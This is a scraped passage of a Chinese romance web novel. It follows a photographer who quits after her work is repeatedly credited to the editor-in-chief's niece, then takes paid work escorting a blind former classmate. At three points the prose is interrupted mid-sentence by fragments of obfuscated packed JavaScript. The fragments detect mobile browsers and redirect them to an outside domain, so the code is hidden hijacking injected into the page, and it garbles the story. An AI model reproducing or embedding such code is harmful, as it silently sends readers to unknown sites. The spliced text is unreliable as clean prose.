《炼金术》 1. 第 1 章 办公室里的暖气开得不够足,孟希贤搓了搓有点冻僵的手指头,指尖还是红的。 她把肩上的相机包卸下来,放在自己桌面。 她坐下刚打开电脑,旁边工位的张丹丹就探过头来了,“希贤,刚才陈编辑找你呢,让你采风回来了去他办公室一趟。” 孟希贤伸手去掏保温杯,想喝口热水暖暖,随口问:“你知道什么事吗?” “嘿,还能有什么事?好事呗!”张丹丹挑了挑眉毛,笑道:“你那组‘杠爷’的照片,拍得太好了真的!现在社里上下都在传,说你这组片子是本月的头彩。陈编辑找你,准是表扬你,说不定年终奖还能更多呢。” 孟希贤拧开杯盖的动作顿住,热水冒出的白气扑到她脸上,有点湿湿的暖意。 听到“杠爷”那组片子被肯定,她心里确实动了一下。 那是她跑了好多天公园,跟拍了快一个月的成果,拍的就是街头那些在单杠上完成各类翻腾、旋转技术动作的人,这主题正好对上杂志社这个月策划的“城市角落的非遗”。 她花了很多心思去构图,尤其是抓拍那些充满力量的身姿。 如果真的因为这组片子被表扬,甚至加薪……她脑子里飞快地算了一下,下个月妈妈的护理费就能宽裕一点了。 孟希贤扯了下嘴角,想笑又有点不敢完全相信的样子,“要是真的,丹丹姐,中午我请你吃饭。” “行啊,那我可等着你这顿加薪饭了”,张丹丹乐呵呵地转回身去,“快去吧,别让陈编辑等久了。” 孟希贤放下杯子,起身朝着走廊尽头陈编辑的办公室走过去。 她有点期待,但又很忐忑。因为这些年,好事落到她头上的次数,实在不多。 她敲了几下门,里面传来陈编辑的声音,“请进。” 孟希贤推门进去,陈编辑正对着电脑屏幕,眼镜滑到了鼻梁中间。他五十岁左右,头发有点稀疏了。 她恭恭敬敬道:“陈老师,您找我?” “哦,希贤啊,坐吧”,陈编辑从眼镜片上方看了她一眼,抬手指了指办公桌对面的椅子,“今天找你呢,是关于你提交的那个‘杠爷’的专题照片。” 孟希贤的心跳快了一点,等着他说下去,等着那句“拍得特别好”。 但陈编辑清了清嗓子,告诉她:“这组照片呢,我们编辑部决定暂时不用了。” 孟希贤脸上那点因为期待而绷着的劲儿,一下子松了。 她带着点不相信,问道:“陈老师,这是为什么呢?这组照片有什么问题吗?我拍的人和故事都是真实的,也完全符合我们杂志这个月的主题啊。是哪里拍得不好吗?” 陈编辑脸上的笑容没变,他靠在椅背上,眼神里有点说不清的东西。办公室里安静下来,只有隔壁部门隐约传来的电话铃声。 这种沉默让孟希贤很不舒服。她忍不住又问了一遍,“陈老师,到底是哪里不行?您告诉我,我下次注意。” 陈编辑看她追问得紧,收了笑容,露出为难的表情。 他叹了口气,像是在开导一个不懂事的小孩,“希贤啊,照片嘛,没什么不好的。构图不错,选题也贴切。” “但是呢,王小仙也提交了一组照片,拍得挺有想法的。编辑部这边讨论了一下,决定这次先用她的。” “王小仙?”孟希贤重复了一遍这个名字,像被什么东西噎了一下。 她当然知道王小仙。今年初才刚来,整天打扮得花枝招展的,相机看着是高级货,但好像连参数都没调利索过几次,最关键的,她是主编的侄女。 孟希贤的声音有点发紧:“她的照片呢?我能看看吗?” 陈编辑犹豫了一下,还是抽出一个文件夹,推了过来,“喏,就这个。” 孟希贤一把拿过文件夹,急切地翻开。 她只看了一眼里面的照片,心里的火就“噌”地一下往上冒。 照片的问题太明显了。有几张地平线都是歪的,大楼看着要倒似的。还有一张拍小吃摊,老板的脸在画面正中间,焦点却糊糊地对在了后面的垃圾桶上。构图更是乱七八糟,主体旁边塞满杂物,根本不知道想表达什么。 这哪里是“有想法”?这根本就是不会拍! “陈老师”,孟希贤把文件夹放回桌上,努力压着火气,“这照片也能用?就因为王小仙是主编的侄女?” 闻言,陈编辑眉头拧了起来,“希贤,话不能这么说。新人也需要锻炼的机会嘛,她的视角,也许读者有新鲜感。” 孟希贤觉得一股血直冲脑门,声音控制不住地提高了,“陈老师,年初那个民俗村专题,我拍了整整一个月,最后用的王小仙只去了一天拍的照片!年中那个老兵口述历史的配图,也是我联系的采访对象,最后署名摄影成了王小仙!现在又轮到‘杠爷’,今年还没过完呢,这都第三回了!” 她越说越激动,手指不自觉地攥紧了膝盖上的衣物,“一次是照顾新人,两次是给面子,三次了,这工作还怎么做?我的片子就活该给她垫脚吗?” 陈编辑的脸色沉了下来,刚才那点和稀泥的态度没有了,“孟希贤,你大学毕业,进社里也三年了吧?怎么说话做事,还是这么天真?” 孟希贤看着陈编辑那张写满世故和理所当然的脸,想到医院里毫无知觉却需要巨额费用的妈妈,想到自己白天黑夜扛着相机跑的辛苦,想到为了拍出好片子省吃俭用买的镜头……那些生来就拥有一切的人,似乎总能轻易碾碎别人可怜的指望。 压抑了太久的东西,在这一瞬间决堤了。她不管不顾地脱口而出道:“行,我天真!我不干了,我辞职。” 话一出口,办公室里的空气好像凝固了。孟希贤自己也震了一下,手心全是汗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231046|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈编辑显然没料到孟希贤反应那么大,他打量着她,嗤了一声,“希贤,你这火气也太大了点。年轻人,动不动就撂挑子,可是要吃大亏的。” 他瞥了一眼桌上的台历,补充道:“你要辞职,可以。但现在是十二月了,意味着按照社里的规定,你拿不到年终奖。” 孟希贤脑子里“轰”的一声。本来医院的花销就像个无底洞,她每个月都过得紧巴巴的,而年终奖是她指望了很久的一笔钱,是她盘算着能用来缓解小半年压力的希望。 现在,就因为自己在这个节骨点提了辞职,全没了? 巨大的荒谬感和被算计的愤怒淹没了她。一股豁出去的狠劲,从心底窜了上来,她知道自己不能再退缩了。 她直视着陈编辑的眼睛,一字一句清晰道:“年终奖的问题先放一边,我听说咱们杂志社,一直在做一些‘特别’的业务。” “比如有些企业想要在杂志上露个脸,又不方便走常规广告流程的,是不是私下交一笔‘版面赞助费’,就能安排进去?上个月那篇讲城中村改造的深度报道里,夹着一张图文无关的私立医院全景大照片,那家医院的老板,好像姓李,挺有钱的吧?” “还有,去年那个旅游城市的专题,我跟着去采风,明明准备了大量的特色文化素材,结果最后发出来的版本,是那家赞助了考察费用的‘金海湾度假村’的软文。我当时就觉得奇怪,后来才知道,原来是有人收了好处,把真正的报道给置换了?” 孟希贤每说一句,陈编辑的脸色就难看一分。他刚才的冷漠消失了,取而代之的是被戳穿后的慌乱。他眼神躲闪着,“孟希贤,你不要胡说八道!你这是污蔑社里的声誉!” “是不是污蔑,要不要我把具体的版面、时间、还有中间牵线人的名字,一起整理出来,交给上面查查?”孟希贤的语气没有丝毫退缩,“或者现在自媒体那么发达,我可以做up主聊聊王小仙一路绿灯进来,占了多少人的坑,而你们又是给她家里的公司,做了多少免费宣传的?” 办公室的暖气好像失效了,空气冰冷起来。 陈编辑完全没想到,这个平日里只知道埋头拍照、看起来有点懦弱好拿捏的女孩,竟然知道这么多。 他张了张嘴,想反驳,想呵斥,但看着她那双平静却带着狠绝光芒的眼睛,剩下的话都堵在了喉咙里。 他知道,她不是虚张声势。一个着急用钱,工作又被逼到墙角的人,什么事都干得出来。 他强装镇定道:“你到底想怎么样?” 孟希贤看着陈编辑垮掉的气势,站起身道:“我不想怎么样,我就想要回我应得的东西。当时签劳动合同时约定,员工全年绩效达标即可主张年终奖,况且我今天提辞职,还没办手续,我还是社里的员工。所以我的年终奖,一分也不能少!麻烦您把我这个诉求,如实汇报给主编。我等回复。” 2. 第 2 章 今天,陆芝依旧双眼紧闭地躺在病床上,靠着机器呼吸,身上插着管子。 孟希贤坐在床边给她说了半小时的话,从今天吃了什么,到杂志社辞职的事,再到窗外那棵老槐树看着精神点了没。 陆芝没有任何反应。孟希贤有时候觉得,妈妈是在一个很深的梦里,听不到外面的声音。 她站起身,给陆芝掖了掖被角,轻声道:“妈,我明天再来看你。” 她得走了,得去找下一份工作,得养活自己,更得付这医院的账单。爸爸在她很小的时候就没了音讯,现在只剩她自己扛着这些。 医院的走廊很长,孟希贤的平底鞋走在上面,发出轻微的声音。 大学时买的高跟鞋早收起来了,那种东西对现在的她来说太奢侈,也不实用。 拐过一个弯就是主楼大厅。那里人多了起来,有推着轮椅的护工,有提着保温桶的病人家属小声交谈,空气里除了消毒水,还混着饭菜的味道。 就在这时,孟希贤挎包里的手机震动了一下。她脚步没停,划开看了眼短信通知,是陈编辑发过来的。 【年终奖已结算,打到你工资卡了,查收一下。按约定前事翻篇。】 孟希贤扬了扬嘴角,知道自己成功争取到了“封口费”。 她迫不及待地点开手机银行的APP图标,输入密码。 她低着头,注意力全在那串即将出现的数字上,没留意前方。 只听“嘭”的一声,她整个人被撞得一个趔趄,朝旁边歪了两步才勉强站稳。 她揉了揉生疼的肩膀,抬眼看到一个高大的男人。 他穿着质地很好的灰色羊绒衫,手里握着一根细长的金属杆子,杵在地上支撑着自己。 他的脸朝着声音来源的方向,眉头紧紧皱着,嘴唇抿成一条锋利的线。他的眼睛非常好看,就是里面没有焦距。 孟希贤立刻反应过来,这个人看不见。 “对不起对不起!你没事吧?”她赶紧开口道歉,还伸手想去扶一下对方的胳膊。但又觉得不太合适,手停在半空。 “没事?”男人的声音响起来,带着毫不掩饰的暴躁和厌恶,在人来人往的走廊里格外刺耳,“你他妈走路不长眼睛吗?这里是医院,不是你家的客厅,横冲直撞!” 周围有几个路人看了过来,眼神里带着惊讶或同情。 孟希贤的脸腾地一下红了,一半是尴尬,一半是被这劈头盖脸的怒骂激起的火气。 不看路是她的错,道歉也是应该的,但对方这态度也太恶劣了! 她张了张嘴,正要回应“你吼什么吼”,视线却从那双无神的眼睛往下移,掠过挺直的鼻梁和清晰的下颌线。 时间好像被人按了暂停键,孟希贤的呼吸也顿住了。 她认得这张脸。 即使过了这么多年,即使这张脸现在笼罩着格外阴郁的戾气,她也认得。 金司承这个名字如同一道闪电,照亮了某个被刻意压在箱底的角落。 他是她高一时候的同班同学,也是那个曾经站在所有人仰望的高度,光芒万丈的金司承。 他怎么会在这里?而且还瞎了? 震惊像潮水,淹没了孟希贤刚才被激起的怒气。她僵在原地,忘了要反驳,忘了还在道歉,只是盯着金司承的脸。 金司承虽然看不见,但他能察觉到孟希贤没有离开,她的沉默仿佛是在看他的笑话。 他更加烦躁:“说话啊,哑巴了?现在的人都这么没素质吗?” 他的呵斥声像一把钥匙,打开了孟希贤记忆的闸门。一些本以为早已模糊的画面,无比清晰地涌现出来。 她仿佛又看见了学校里那张贴在教学楼入口旁边公告墙上的成绩榜单。 每次大考结束放榜,那里总是挤满了人。 孟希贤路过时,都会在人群外围踮起脚,目光越过攒动的脑袋,飞快地扫过最上面那几行,找到金司承的名字,然后心里某个地方会轻轻跳一下,随即又有点莫名的沮丧。 她自己的名字,通常都淹没在榜单中间靠后的位置,毫不起眼。 那种差距,像一道看不见的光墙,把他隔在另一个世界。 还有操场上热闹的校运会,仿佛昨天才结束。 广播里是激昂的音乐,周围是震天的加油呐喊声。 金司承参加的是短跑,一百米和二百米他都是种子选手。 她记得他穿着成套的运动背心和短裤,站在起跑线上,微微弓身,像一头蓄势待发的猎豹。 发令枪响,跑道两旁爆发出巨大的声浪。 孟希贤挤在人群里,位置不靠前,只能看见他疾驰的身影带着风,把其他人远远甩在后面,第一个冲过终点线。 他脖子上挂了金牌,阳光照着他汗湿的额头和兴奋的笑容,周围是上去祝贺的同学,还有不少给他加油的女孩子。 她也是那些女孩子里的一员,只是她看着他被簇拥着,像一颗耀眼的恒星。 她手里捏着刚买的矿泉水,手心全是汗,最终也没敢上前一步递给他。 印象最深的是高一那年的新生入学大会。 全校师生黑压压地挤满了操场,主席台上坐着校领导和年级主任,而金司承作为新上任的学生会主席上台发言。 他穿着整洁的校服,一步一步走上台阶,站到话筒前。 操场上安静下来,只有他的声音透过麦克风传出来,沉稳又有力量。他谈理想,谈拼搏,谈责任。阳光落在他身上,仿佛给他整个人镀上了一层金边。 孟希贤站在队伍里,远远地望着那个挺拔的身影,听着他自信的声音,心里涌起热烈的崇拜感。 后来,她偷拍了他多张照片。可其中有一张冲印出来,还没来得及放回家里,就从夹着的课本里滑落出来。 金司承恰好路过,他随手捡起,捏着模糊的照片嗤了一声,“同学,下次偷拍我,记得用好一点的镜头。” 那一刻的她无比难堪,低着头把照片接过来就跑远了。 幸好后面高二分班,她选文,他选理,两人分在了不同的校区,接下来的时间没怎么碰面。 总而言之,他在中学时期是宛若太阳般的存在,而她,只是角落里一颗沉默的小石子。 可那时候他的光芒有多耀眼,现在他脸上的阴郁就有多刺眼。 孟希贤一时无法将记忆中的少年和眼前的男人联系在一起,好一会儿都没有做声。 而金司承那边听不到孟希贤的声音,他只得紧了紧导盲杖,带着挫败感继续喋喋不休:“你聋了吗?撞了人连句人话都不会说?还是觉得撞了一个瞎子无所谓?嗯?” 孟希贤从那些纷乱的回忆里被拉了回来。 她看着金司承,那些关于过去的感慨和现在的怜悯,逐渐被更深沉的东西压了下去。 她想起了高一那年他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231047|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的轻嗤,那声音仿佛还在耳边。她也想起了自己现在背负的一切,她就连前途也是未卜的。 她和金司承,从来就不是一个世界的人。过去不是,现在更不是。他失明了,落魄了,脾气变坏了,那又怎样?和她孟希贤有什么关系?她自己脚下的路崎岖艰难,甚至更加沉重。 她决定不再和一个早已被时间抛进不同轨道的人打交道。 她吸了一口气,郑重道:“抱歉。” 说完,她迈开步子,绕开了僵立在原地的金司承,朝着大厅的另一头走去。 —————————— 孟希贤租的屋子不大,沙发对面是张折叠桌,上面摆着她的笔记本电脑,屏幕亮着光。 她刷新了几次邮箱,收件箱那一栏的数字均为零。 这一个星期来,她给几家风格对路又业内口碑良好的杂志社都投了简历,附带了一些她觉得满意的作品。 结果除了两家系统自动回复的邮件,其它的全部石沉大海,连个明确的拒绝都没有。 她叹了口气,又点了一次刷新,收件箱依旧没有任何变化。 就在这时,她的手机突然震动起来,是《当代探索》杂志社主编余小冰的来电。 她想起去年两人的联系。 当时余小冰在电话里说,看过她几组社会纪实类的照片,很喜欢,觉得她的视角有温度,问她有没有兴趣跳槽过去。 《当代探索》是业内有分量也有追求的刊物,能在那里做摄影师,是很多人梦寐以求的。 当时接到那个电话,孟希贤有点受宠若惊。 可那时她在原杂志社还没遇到后来的糟心事,和同事相处也还行,所以婉拒了余小冰。 现在,余小冰的电话又打来了。距离上次拒绝,差不多正好一年。 她深呼吸一下,按下接听键,“您好啊,余主编,很久没联系了。” 两人在电话里寒暄了几句,余小冰切入了正题,“孟小姐,我这边听说你最近从上一家杂志社离职了?消息没错吧?” 孟希贤的心跳快了一点,“嗯,是刚离职不久。” 余小冰在电话那头应了一声,“去年你没过来,我觉得挺可惜的。现在我这边,正好也有个位置还没完全定下来。所以我就想再问问你还有兴趣不?” 孟希贤没想到余小冰会这么直接地再次抛出橄榄枝。她还没回答,余小冰却话锋一转,继续道:“但你也知道,我们杂志的用人标准一直很严格。虽然我很欣赏你,但毕竟已经一年了。” “我这边呢,可以给你一个机会,算是入职前的考验吧。一周时间,你提供一组能体现当下社会某个真实切面的人文照片,外加一个完整的拍摄阐述。题材不限,地点不限,但必须是你独立构思和拍摄完成的。主题要有深度,能打动人。如果这组作品能达到我们的要求,证明你现在的状态和实力都符合我们的标准,那这个位置,就是你的。” 孟希贤握着手机,脑子里飞快地盘算着。 拍什么?到哪里拍?她脑子里闪过几个模糊的念头,又立刻被压下去。现在不是想具体题材的时候。 她又想到银行卡的余额,还有辞职时主编那张脸…… 她现在迫切需要一份工作,一份真正能发挥她所长、让她有尊严的工作。 她清了清嗓子,带着决心开口:“我明白了,谢谢您再给我这个机会。一周后我会提交我的作品。” 3. 第 3 章 孟希贤背着相机包,走上人行天桥。 她出来晃悠半天了,余小冰要的那组照片,一点头绪都没有。 她漫无目的地走着,眼神扫过穿梭的车流和匆匆走过的行人,还有远处灰蒙蒙的高楼。 有啥好拍的呢?普通人的日子,不都是天天一个样? 她有点泄气,停下脚步,靠在天桥的铁栏杆上歇口气,却瞥见桥的另一边栏杆旁,站着个男人。 他附近立着个施工牌,上面写着这一段栏杆松了在修,请勿靠近。 但他仿佛没有看到,站得特别靠外,脚尖都快碰到那警示带围着的缺口了。 这人想干嘛?寻短见啊? 这念头一冒出来,孟希贤自己也有点吓着了。 她眼看着那人身体又朝前倾了一下,再也来不及多想,本能地冲了过去。 “喂,别!”孟希贤急急忙忙地喊着,冲到男人侧面,一把抓住了他的胳膊,用力往后拽,“危险,这里栏杆坏了!” 男人被这突如其来的袭击吓了一跳,身体僵住。但他力气很大,几乎立刻粗暴地甩开了孟希贤的手,“你谁阿你?” 孟希贤见他转过头来,正是昨天在医院重遇的金司承。 他怎么一个人跑这儿来了?还差点掉下去? 她心里一堆疑问,但嘴上只是喘着气说:“我刚好路过,看你站得太靠边了。那边栏杆在修,很危险。” 金司承的脸朝着孟希贤声音的方向,没有立刻说话,就那么“盯”着她。 过了好一会,他才开口,带着古怪的笃定:“路人?呵……你撒谎。昨天在医院撞到我的那个女人,就是你吧?我这耳朵,瞎了之后,灵得很。” 孟希贤暗骂了一句,这耳朵是雷达吗? 行吧,被认出来了,再装也没意思。 她说:“对,医院是我不小心撞了你。刚才也一样,我以为你想不开,就那么冲过去了。没别的意思。” “没别的意思?”金司承发出短促的冷笑,“谁信呢?一个路人,会这么好心?先是撞我,现在又跑来‘救’我?你是哪家小报的狗仔?闻着味儿来找我这个废人的新闻了?还是说,想从我身上捞点什么好处?” 他的话像淬了毒的针,又快又密地扎过来,带着强烈的自嘲和毫不掩饰的恶意,“省省吧,我现在除了等死,屁用没有。金家?呵,金家也嫌我丢人现眼呢!” 孟希贤看着他失控的样子,刚想说点什么,脑里却如同有一道微弱的电流,接通了卡了一天的思路。 残疾人和正常人的界限在哪里?界限又是什么? 是被坏掉的栏杆,挡住的物理空间?还是眼睛看到的和看不到的世界? 亦或是这种,像金司承这样的,用尖刻的语言和无形的愤怒筑起的高墙? 这个以残疾人为主角的专题,或许可以拍。 而且…… 孟希贤的目光停在金司承紧绷的下颌线上。她记得他的家境很好,金家的人脉和财富,也许还能帮助她找到那个失踪了二十年的爸爸,哪怕只是提供一点线索也好。 这两个念头一旦冒出来,就像藤蔓一样缠住了她。 虽然金司承浑身是刺,但孟希贤深呼吸着,把刚才被他激起的怒火压了下去。 她放慢声音,“你一个人在这闹市区晃悠,太不安全了。你想去哪儿?我送你去。反正我今天也没啥要紧事。” 金司承完全没料到她会来这么一出。 他被这突如其来的“好意”噎住了,脸上尖锐的戾气都有些凝固。 过了好几秒,他讥讽地笑了出声:“送我?你要不是有所图,就是脑子进水了!还是你觉得我瞎了,心也瞎了,特别好骗?” 他往前逼近了一步,虽然看不见,但那空洞的眼神落在孟希贤脸上,压迫感依然很强。 他压低声音,带着刻意想让人难堪的轻佻,“说吧,你到底想要什么?开个价,让我看看你值多少钱?” 孟希贤抬头对上金司承,心里反而更定了。 她理直气壮地报出一个数字:“给我五万,我可以随叫随到,负责你的行程安全,直到你不需要我为止。” 顿了一顿,她又补充道:“可以先试用期一周,你给我一万作为订金,如果满意了你再付剩下的。” 听到孟希贤毫不扭捏地开了价,金司承只觉得自己的羞辱像一拳打在了棉花上,不但没效果,还显得有点可笑。 他烦躁地别开脸,沉默了一会后,掏出钱包递给孟希贤,“行啊,我也不差那么一点钱,你自己拿!” 孟希贤打开钱包看了看,里面是厚厚一沓红色纸币。她暗暗吐了舌头,抽出几张,问金司承:“你现在要去哪里?” 金司承脱口而出道:“我要去三皇山!” 听到这个地名,孟希贤皱起了眉头,“你说的是酌州边上的那个三皇山?现在坐车过去得要三个小时。而且你现在这个样子……你是从医院跑出来的对不对?你应该还在接受治疗吧?” “不用你管!”金司承立刻打断她,像被踩了尾巴的猫,“我想去哪儿就去哪儿!三皇山脚下的镇子,是我老家,我就想回去看看!怎么了?嫌远?嫌麻烦?” 他咄咄逼人地反问,“你是后悔只要一万,要少了吧?还是怕我这个瞎子在荒山野岭给你惹麻烦,不敢去了?” “你要是不想听我的,你现在就走!”他抬起一只手,朝着远离自己的方向,虚虚地挥了一下,“立刻马上滚!我用不着人同情,更用不着人照顾。” 天桥上人来人往,桥下的车声构成了模糊的背景音。 风吹过,带着凉意,吹乱了孟希贤额前的刘海。 金司承的状态极不稳定,私自出院后续可能有麻烦。但专题照片的素材,以及寻找父亲的希望,于她而言,太有吸引力了。 她吐了口气,伸手扶住了金司承的手臂,“行,我答应你,去三皇山。走吧。” 金司承却是一愣,眼皮眨动了好几下,随即眉头皱了起来。 孟希贤:“又怎么了?” 金司承犹豫了一下,开口:“出来人太多了,这盲杖碍事,老打到东西,或者差点打到人。能不能别用它了,就这样带着我走?” 他说完这句话,脸微微扭开了一些,嘴唇抿紧,像是在忍耐什么不自在。 孟希贤心里明白,这根象征着“看不见”的棍子,戳在他周围人的眼里,大概也像根刺一样扎着他的自尊心。 “行,那不用了”,她爽快地答应下来,想了想,又干脆探身过去,握住金司承垂在身侧的手,“这样稳当点,你也好走。” 被孟希贤牵着的那一刻,金司承的手紧绷得像块木头。她甚至能感觉到他手心的温度,比她的还要热一些。 她试着拉了一下,示意方向:“前面下台阶了,慢点。” 她配合着他的节奏,一步一步地往下走,还不忘提醒着他别踩空。 也许是适应了,也许是觉得这样确实稳当一些,金司承手中抗拒的力道,渐渐卸了一些,甚至有点回握的迹象。 就这么一点微小的变化,让孟希贤的心口一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231048|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳。 她自己都愣了。怎么回事? 她暗自吸了口气,想把这莫名其妙的加速压下去。 她飞快地提醒自己:孟希贤,你清醒点。你靠近金司承是为了什么?高中那点破事早八百年翻篇了!他现在就是个失明的麻烦家伙,脾气还臭得要命!牵个手怎么了,纯粹就是工作需要,不要瞎想了! 可是,掌心传来的温热,还是透过皮肤,顺着胳膊,撞进了她胸口。 她不由地抬起眼皮,侧过头去看金司承。 他空茫的眼睛低垂着,正全神贯注地感受着脚下的台阶。阳光斜斜地打在他脸上,有几缕光线掠过他高挺的鼻梁,落在透着倔强的唇角。 她不得不承认一个事实,这人就算失明,但俊俏的五官加上那衣架子的身材,搁在人群中依旧显眼。 —————————— 去三皇山的路需要先坐高铁再转汽车。孟希贤领着金司承,一路换乘交通工具,终于在下午四点来到了三皇山的景区门口。 孟希贤顺着入口的路牌和远处的山坡来回扫了几遍,都没有发现什么镇子的影子。 她问金司承,“你老家呢?这儿连个烟囱都没见着冒烟。” 金司承嘴角动了动,像是笑了一下,“急什么,先上山。我记得过了景区入口就有缆车,直接能坐到山顶顶上去。镇子在山那边呢,得过了山顶才看得见。” 孟希贤看着那山连着山的景色,心中有股被耍了的感觉,但她是收了钱做事的,也只好道:“行吧,你说有就有,我们去坐缆车。” 入口往里走了大概百十米,拐了个小弯,果然就看见了缆车站的指示牌,上面有“三皇山索道”几个红字。 一辆缆车晃晃悠悠地下来,工作人员拉开车门。 孟希贤先一步跨上去,转过身,朝门口的金司承伸出手:“来,这边,上来。” 金司承抓住她的手,摸索着抬腿迈了进来。他坐在她对面的长椅上,缆车很快地离开了站台。 孟希贤扒着玻璃往外看。 冬天的山,大片大片的是枯黄的草甸子,但底下又顽强地藏着点绿意。 山下那条带他们来的路,像根灰色带子,弯弯曲曲地消失在山的褶皱里。 孟希贤嘀咕了一句,“这上面的风景还挺好的。” 金司承没接这话,只是脸转向孟希贤这边,问:“山里是不是有个可以蹦极的地方?” 孟希贤把视线从窗外收回来,想起刚进景区的广告牌,“对啊,是有,就在山顶那儿。怎么?” “嗯”,金司承点了下头,“我要玩那个。” 孟希贤有点呆:“你……你说什么?你要玩蹦极?” 金司承又肯定地应了一声,“到了山顶,你给我买票。” 孟希贤有点无语,“你不是要回老家吗?再说了,那玩意挺高的,你看得清山下啥样吗?你不怕?” 金司承耸了下肩膀,嘲弄道:“怕什么?不是有绳子拴着么。而且我老家怎么会在山沟沟里,也就你这么蠢的,我说什么都信。” 车厢里安静极了,头顶滑轮的声音好像被放大了无数倍。 孟希贤盯着金司承那张俊脸,真想一拳砸过去,或者干脆把他从缆车里推出去算了。 她感觉太阳穴突突地跳了几下,然后那股劲儿就泄了。 跟一个看不见还明摆着耍赖的人吵?除了把自己气死,还能有什么结果? 她转过头看向窗外,勉强把那口恶气咽下去,“……行,你厉害。来都来了,蹦就蹦吧。” 4. 第 4 章 山顶平台水泥铺地,边缘围着一圈铁栏杆。 这里的视野确实极好,远处群山起伏,层峦叠嶂,在冬日的阳光下呈现出深浅不一的颜色。 蹦极的设施,就在平台最边缘向悬崖外延伸出去的一块钢板平台上,那儿竖着一座高高的铁架子,上面架着滑轮组和粗大的绳索,几个工作人员在旁走动。 一个穿着冲锋衣的小伙子迎了上来,“您好两位,想体验蹦极?” 孟希贤把金司承的手递过去,“对,他玩。” 小伙子看着金司承没有焦距的双眼,有点犹豫,“先生,你眼睛……” 金司承说:“我能看到一点的,只是比较模糊。你不用紧张,如果有风险承担书的可以给我签,我不会找你们景区麻烦。” 小伙子和同事商量了一下,拿来一张印有安全须知的纸,从头到尾读给金司承听,再让他在上面摁下手印。 一切准备就绪,工作人员开始手脚麻利地给金司承套上蹦极用的安全带。 他们一边弄着,一边和他搭话,想缓解气氛。 “您别紧张啊,先生,我们这套装备很牢靠的,脚踝绑带都检查过了,保准没事。” “第一次玩吧?放松点就好,跳下去那一下,整个人都飘起来了,特爽。” 金司承不吭声,只是点了下头。 一旁的孟希贤听见他吸气的声响,抽风箱似的,短促又紧绷。 她正想开口,小伙子却已经拍拍金司承的肩膀,引导着他去跳台边缘。 孟希贤只好站在几步开外,掏出自个儿的相机,镜头对准金司承那边。 她找好角度,咔嚓一声,相机定格了金司承的样子:他整张脸都紧绷着,眼睛虽然看不见,但眼珠子朝下乱转,好像本能地在找落脚点。 她又拍了几张,注意到金司承双腿在抖,背弓起来,整个人缩成一团,就像只受惊的动物。 当工作人员倒数到“一”时,他吸了口气,往前一扑,随即整个人坠落下去。 一声短促的惊呼从悬崖下传来,很快就消失在风里。 孟希贤连忙放低相机,从跳台上往下看,直到金司承被工作人员拉上来。 他站回跳台时,脸上全是汗,嘴唇还在哆嗦着。 工作人员解开他身上的装备,问:“感觉咋样?刺激吧?” 金司承没说话,只是喘着粗气,摇摇晃晃地站不稳。 孟希贤扶着他往旁边挪了几步,离开悬崖边。 金司承靠着她,脚底下发软,差点绊倒。 孟希贤赶紧撑住他,关切道:“没事吧?” 金司承缓了会,呼吸慢慢匀了些,但身子还是抖。 孟希贤松开一点手,让他自己站住,他却差点又瘫下去,她只好重新扶牢。 她看着他这样子,心里有点窝火,憋不住问道:“你为啥非要玩这个?明明怕得要死,还大老远跑来折腾。” 金司承嘴角咧了一下,算是不像笑的笑,“以前恐高啊,一直不敢玩。现在瞎了,没啥好怕的。废人嘛,死了就死了,你今天在天桥上,不也以为我要寻死吗?” 孟希贤真是觉得又好气又好笑。 气的是他这副自暴自弃的德性,像个小孩在赌气;笑的是他明明瞎了还是怂,却非要装模作样。 她叹了口气,“不玩了,你跟我走,带你去个地方。” 金司承的手被她攥着,暖乎乎的,他稍微定了定神,“去哪儿?” 孟希贤拉着他走,“别问那么多,跟我走就行,保证比蹦极有意思多了。” 走了十来分钟,山顶缆车站的轮廓重新出现在眼前。 孟希贤掏出两人的回程票,说想坐缆车下山,一个穿着工作服的大叔却瞅了眼墙上的挂钟,告诉她:“抱歉啊,今天最后一班缆车刚走,十分钟前就没车了。” “走了?”孟希贤心里咯噔一下,声音不自觉地提高了,“那什么时候再有啊?” “明天早上八点,今天是没了”,大叔站起身,指了指旁边一条蜿蜒向下的石阶小路,“要不,你们就顺着这条路走下去,估摸着走快点,一个半钟头能到景区门口。” 孟希贤顺着大叔的手指看过去。那石阶又窄又陡,有些地方坑坑洼洼,边缘的石块都松动了。 再看看身边的金司承,他脸上因刚才蹦极吓出来的冷汗还没完全干透,整个人透着一股强撑着的劲。让他摸黑走那种路?孟希贤立刻在心里画了个叉。 “走不了,还有别的办法吗?” 大叔朝着山坡另一头努了努嘴,“要不就在那边的山顶酒店凑合一晚吧,明早再来坐缆车。” 这也算是没办法中的办法了,孟希贤道了谢,转身扶着金司承往酒店方向走。 